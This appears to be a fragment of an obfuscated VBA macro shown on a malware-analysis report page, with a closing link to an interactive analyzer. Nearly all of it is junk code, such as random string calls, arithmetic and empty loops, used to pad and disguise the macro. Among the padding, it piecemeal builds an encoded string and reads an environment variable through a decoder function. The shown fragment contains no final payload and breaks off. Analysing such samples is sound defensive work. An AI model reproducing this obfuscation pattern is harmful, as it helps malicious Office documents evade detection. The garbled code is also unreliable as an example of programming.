bGzkt = 934 + 1725 + 1884
ckCczbN = RTrim("a)mXnr Wj@g.o^p$OR")
lxMXRJjMJc = 160 - 409 - 500
ckCczbN = UCase(" p YDh@W $J D U")
Next DxahpN
hIPzDPwPEY = LTrim("OsGP^FGL r ")
hIPzDPwPEY = 475 + 1844 + 1093
FZaWXd "TbRpCyuACt", "DvjNHUxhv", "SFLPOTK", "vkfLJc"
Cnjpev = Environ(KdVfZ("Ti? Ae omro Dp_iV "))
lxMXRJjMJc = Space(17)
siqcDODMcxtO = LTrim("Qs #c_ ay ")
SYqXpuFZ = Left(" ISJj f- ", 5)
hIPzDPwPEY = StrReverse("j!BD !-gGC")
ApsTYeXf = UCase("AWeOE[TY -& C (ILq? ")
KkGuPouyn = Space(6)
hdnUqs = Right("o@J N xo W ", 3)
SYqXpuFZ = Right("Oq!WjMnivb(v ", 4)
Dim cAMock As String
Dim MSggX, wvXWOuc, jNVOEsDK As Date
gUVWfiWEJgR = StrReverse("zQe)(d X B s")
jJLUKGHE = LTrim("A?vyn& fu bx( @ ")
cAMock = "eI$ux "
hdnUqs = Space(15)
AMGAdHOkItP = UCase("F(]?ueL%Zj DPc[m]uX")
cAMock = cAMock + " zgS G"
For fyWKex = 0 To 5
For wUfJNc = 0 To 8
bGzkt = Right("pRAa[En Kp H bU.", 4)
Dim fIUzlqa, kYzBuW, kykXVs, FNQIVLhI As Date
AMGAdHOkItP = LTrim("M tv #zLiv")
ZDitPzS = LTrim("bM]TIC_ r!")
oqrURcfHkS = 384 + 753 + 1585
hIPzDPwPEY = LTrim("yHGQSb d N eC(")
hdnUqs = UCase("- zh- gpUP ii&R ")
AMGAdHOkItP = StrReverse(")fFuLlC)JsH_(")
Next wUfJNc
Dim bDqBC As String
HCSqP = Space(8)
zpAanRs = Right("D^H. _B# uH", 2)
KkGuPouyn = LTrim("m x%NoQ M?@H")
jJLUKGHE = Space(5)
ybPlWQ = 158 - 123 - 454
Next fyWKex
cAMock = cAMock + "N e&T"
For xwyxbi = 0 To 10
pEajOQSQoIG = 417 - 389 - 307
AMGAdHOkItP = RTrim(" g_ q ok QH JWb")
LNrAYaRjolb = StrReverse("f^ A]I$ PVnX RIG a")
hdnUqs = 210 + 997 + 663
Next xwyxbi
jJLUKGHE = 1334 + 1864 + 1087
MjENfIVjX = 400 - 153 - 440
While HwfIuF < 5
While RmcmOt < 4
ybPlWQ = Right("_XOS X dA% Y l", 2)
YBXyjyws = StrReverse(" k) Bb Sc&wq nS^m")
ApsTYeXf = RTrim(" h $Y gtqD z) VL ")
hYqMfUpSqEsy = RTrim(" j SXKp A x inhv")
RmcmOt = RmcmOt + 1
Wend
ybPlWQ = 149 - 198 - 102
ybPlWQ = UCase(" S HAjUuCwFgSYoUse ")
LeMMqZV = UCase("] %I_ZqEQl&-Bt f")
LeMMqZV = Space(10)
ZDitPzS = 1187 + 1050 + 449
ckCczbN = StrReverse("c C HwKcofX?iec O")
HwfIuF = HwfIuF + 3
Wend
cAMock = cAMock + "jJg!u("
For ksLgMV = 0 To 6
zpAanRs = LTrim(" [LQUZ# AsNf[IlkV ")
dCXawSdw = UCase("REc NOGLK ? ")
jJLUKGHE = 407 + 1847 + 313
bGzkt = UCase("%B wF .q ckem! C g")
pEajOQSQoIG = 324 - 341 - 271
zpAanRs = Right(" .aWnU t ZSU", 2)
PGoIWpOFWDE = Right(".jHnTNLLX ", 4)
oqrURcfHkS = UCase("!U& S!] R^Kij")
Next ksLgMV
hdnUqs = UCase("H]%N[PcN)ClF_( X ")
dCXawSdw = LTrim("U D]zLKln u a bLD#")
hIPzDPwPEY = 1978 + 1712 + 188
cAMock = cAMock + "Kl? KT"
siqcDODMcxtO = RTrim(")&Of_J f @$X#x")
cAMock = cAMock + "bQ tau"
lxMXRJjMJc = 113 - 418 - 382
oqrURcfHkS = 495 + 1786 + 713
cAMock = cAMock + "Pf bt&"
ZDitPzS = 1964 + 446 + 1988
cAMock = cAMock + " U!eCw"
For aUmFoU = 0 To 5
For tCpTFt = 0 To 9
MjENfIVjX = 861 + 410 + 489
ckCczbN = Right(" nP? yvt ", 2)
ckCczbN = Left("MitzJh Qa^HMRW P", 3)
MjENfIVjX = LTrim("Y kd?B?txaIvIYm[")
lxMXRJjMJc = Right("eF P Bz]wvds . [!", 3)
Next tCpTFt
ApsTYeXf = Right("fq ie & y) xb ", 4)
ckCczbN = Space(19)
ApsTYeXf = UCase("HJmc G&DV Lqq")
GijqpjTU = 1571 + 1260 + 1886
oqrURcfHkS = UCase("m qVC% DS kD ")
Next aUmFoU
For ErlikL = 0 To 3
While LKAkTZ < 3
LNrAYaRjolb = UCase(" ZFtqo.)SbZ")
SYqXpuFZ = 390 - 230 - 179
pEajOQSQoIG = Space(14)
siqcDODMcxtO = Right("Jq& ilHv&mXYH #-", 2)
eRUrbVfNZc = Right(" ^HsF B -e #VEVl- -Y", 5)
QYHHdRUO = StrReverse("fwZl^w_q$EE)MTLM V!p")
eRUrbVfNZc = Right(" !^B?ycXJ bc", 4)
Dim csbstyX, UnNgZgA, LZlFCtvI As Date
hYqMfUpSqEsy = RTrim("rt KB Mj(r? Q")
LKAkTZ = LKAkTZ + 3
Wend
Dim LSbrdso As Integer
Dim oOcIvPP As Byte
HCSqP = Space(12)
SYqXpuFZ = RTrim("W cJL . uV)WB-JjOR")
ZDitPzS = Left("uGVw hMq^ uP", 5)
Next ErlikL
LNrAYaRjolb = Space(9)
While pAkjOv < 2
While ToZDLc < 1
ApsTYeXf = Space(14)
Dim KOXlCXRB, KkfbNkE, sJyCYOIP, NZJtarQB As Single
HCSqP = StrReverse("h&k cukLZ")
lxMXRJjMJc = UCase(" ^vNSx n")
MjENfIVjX = StrReverse(" r?](A.skmUmx zM")
ToZDLc = ToZDLc + 1
Wend
pEajOQSQoIG = Right("a n yYt QJo", 5)
zpAanRs = Space(8)
LeMMqZV = Space(2)
gUVWfiWEJgR = Right("OC&R%# U ", 4)
hIPzDPwPEY = 1975 + 565 + 1855
hIPzDPwPEY = RTrim(" uvRLk oAB ")
KkGuPouyn = Left(" _)[SMbgB G cns X", 5)
hIPzDPwPEY = RTrim("bQgM&# psx Y)-")
oqrURcfHkS = Left("vII?cso-hF T -HF ", 2)
pAkjOv = pAkjOv + 3
Wend
cAMock = cAMock + "rb3#d%"
For cXXiuw = 0 To 7
dCXawSdw = StrReverse("^](##Xm(okT oHe!")
AMGAdHOkItP = 154 - 414 - 193
hYqMfUpSqEsy = Space(5)
Dim OrTYzx As Integer
QYHHdRUO = UCase("y(^( ibF Mg#(DmaZ]tO")
Next cXXiuw
GijqpjTU = Right(" Ud !z@rW^]", 5)
ApsTYeXf = Space(12)
ZDitPzS = StrReverse(" #y @Lsap.)@)j")
cAMock = cAMock + "J1[mLx"
hdnUqs = Left(" YLANe[_ yN_N v ", 3)
cAMock = cAMock + "3YY% 2"
zpAanRs = UCase("pom ]svFOxQINw ")
LeMMqZV = 330 + 1021 + 914
jJLUKGHE = UCase("qWZiGl . J( ")
ApsTYeXf = Left("UW fM$ sx!p ", 3)
cAMock = cAMock + "I[Wt5i"
bGzkt = Space(11)
siqcDODMcxtO = Space(2)
hIPzDPwPEY = LTrim(" _#btILP s-nyQrYF j")
For nIHDMP = 0 To 4
While RDVpCt < 1
dCXawSdw = UCase(" ra_#JhS d")
eRUrbVfNZc = Space(9)
oqrURcfHkS = Left("B mW CFE J", 4)
HCSqP = Space(3)
dCXawSdw = RTrim("# %gR StX( BlF")
PGoIWpOFWDE = Left(" ^O b ^_x[&#t vO v[f", 3)
oqrURcfHkS = UCase("xJArYSmc @ ")
Dim uZFzkJJK As Integer
RDVpCt = RDVpCt + 2
Wend
oqrURcfHkS = LTrim("e v & -!xuF")
KkGuPouyn = UCase("TTsrDU Q#")
LeMMqZV = 388 - 322 - 242
hYqMfUpSqEsy = Left("gfmy@ jI P @D", 3)
jJLUKGHE = 391 - 164 - 480
GijqpjTU = 237 - 351 - 471
jJLUKGHE = RTrim(" #R_(L FCL")
QYHHdRUO = 385 - 273 - 393
Next nIHDMP
cAMock = cAMock + "n Q\rw"
ZDitPzS = Left("Ov%KY ANN V - s ", 4)
While yJePvL < 1
While YQtpKo < 3
KkGuPouyn = Right(" y XAAqQa R D rMX]M", 5)
bGzkt = RTrim("zy yY m-hEr! ^")
oqrURcfHkS = 333 - 315 - 383
Dim yfwHWzaW, PKOoSG As Integer
pEajOQSQoIG = 1873 + 960 + 702
HCSqP = Right("qZ S qsCKt tb", 2)
KkGuPouyn = UCase(" #KxSqag @ ^mgnAlU d")
hdnUqs = RTrim("[OLtt IKj ")
bGzkt = LTrim("ge&V-GPYT uE s")
YQtpKo = YQtpKo + 1
Wend
LNrAYaRjolb = Left("oGE jbkNjqb", 3)
ckCczbN = UCase("y cScYzAq#eLlTql&D ")
zpAanRs = Left("vj$(vT ^ cmxJW", 3)
bGzkt = StrReverse("Tlb]@ LjwW^ WL#Ivm%N")
zpAanRs = UCase("gCg? W QfM%- ")
hIPzDPwPEY = RTrim(" wk!x bcJ _a")
HCSqP = Right("((Q^xua[pp ^z j Mm", 3)
ybPlWQ = UCase("l tK !@ @U O$T")
pEajOQSQoIG = UCase("Ap] Lp[BIkvo$Dj")
yJePvL = yJePvL + 3
Wend
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.